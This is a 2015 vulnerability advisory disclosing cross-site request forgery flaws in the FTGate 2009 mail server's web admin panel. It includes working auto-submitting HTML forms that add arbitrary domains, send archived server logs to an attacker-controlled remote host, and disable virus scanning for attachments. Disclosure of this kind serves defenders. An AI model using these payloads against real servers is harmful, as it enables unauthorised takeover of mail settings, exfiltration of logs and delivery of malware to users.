FTGate 2009 SR3 May 13 2010 Build 6.4.00 suffers from multiple cross site request forgery vulnerabilities.
6e925b84a783858a7d7e6b12219a361993b2ff36e6cac576b107f6ef30aea172
[+] Credits: hyp3rlinx
[+] Website: hyp3rlinx.altervista.org
[+] Source:
http://hyp3rlinx.altervista.org/advisories/AS-FTGATE-2009-CSRF.txt
Vendor:
================================
www.ftgate.com
Product:
========================================
FTGate 2009 SR3 May 13 2010 Build 6.4.00
Vulnerability Type:
=================================
Cross site request forgery (CSRF)
CVE Reference:
==============
N/A
Vulnerability Details:
=====================
Multiple CSRF vectors exist within FTGate 2009 that allow us to add
arbitrary remote domains,
disable antivirus scanning for various Email file attachment types, and
finally change settings
to have archived server logs sent to our remote attacker controlled server
for safe keeping.
Exploit code(s):
===============
CSRF(s):
<!DOCTYPE>
<html>
<body onLoad="invertedcross()">
<script>
function invertedcross(){
var e=document.getElementById('PUNKSNOTDEAD')
e.submit()
}
</script>
1) add arbitrary domains:
-------------------------
<form id="PUNKSNOTDEAD" action="
http://localhost:8089/webadmin/mailboxes/index.fts?action=save"
method="post">
<input type="text" name="dname" value="hyp3rlinx.com" />
<input type="text" name="dtype" value="4" />
<input type="text" name="fname" value="*" />
<input type="text" name="action" value="domadd" />
<input type="text" name="domain" value="" />
<input type="text" name="newdomain" value="" />
</form>
2) sends archived logs to arbitrary remote server:
--------------------------------------------------
<form id="PUNKSNOTDEAD" action="
http://localhost:8089/webadmin/config/archive.fts?action=save"
method="post">
<input type="text" name="enable" value="on" />
<input type="text" name="path"
value="C%3A%5CProgram+Files+%28x86%29%5CFTGate+2009%5CArchive" />
<input type="text" name="duration" value="0" />
<input type="text" name="external" value="on" />
<input type="text" name="extarcserver" value="6.6.6.0" />
</form>
3) disable virus scan for .jar or .exe files etc:
-------------------------------------------------
Options to control handling of virus scanning for email attachments Virus
Scanning Mode
Operating mode of the virus scanner mode=0 to Disable Virus Scanning.
<form id="PUNKSNOTDEAD" action="
http://localhost:8089/webadmin/filters/virus.fts" method="post">
<input type="text" name="action" value="add" />
<input type="text" name="mode" value="0" />
<input type="text" name="extension" value="dll" />
</form>
</body>
</html>
Disclosure Timeline:
=========================================================
Vendor Notification: September 29, 2015
October 1, 2015 : Public Disclosure
Exploitation Technique:
=======================
Remote
Severity Level:
=========================================================
High
Description:
==========================================================
Request Method(s): [+] POST
Vulnerable Product: [+] FTGate 2009 SR3 May 13 2010 Build
6.4.00
Vulnerable Parameter(s): [+] domadd, extarcserver & mode
===========================================================
[+] Disclaimer
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author.
The author is not responsible for any misuse of the information contained
herein and prohibits any malicious use of all security related information
or exploits by the author or elsewhere.
by hyp3rlinx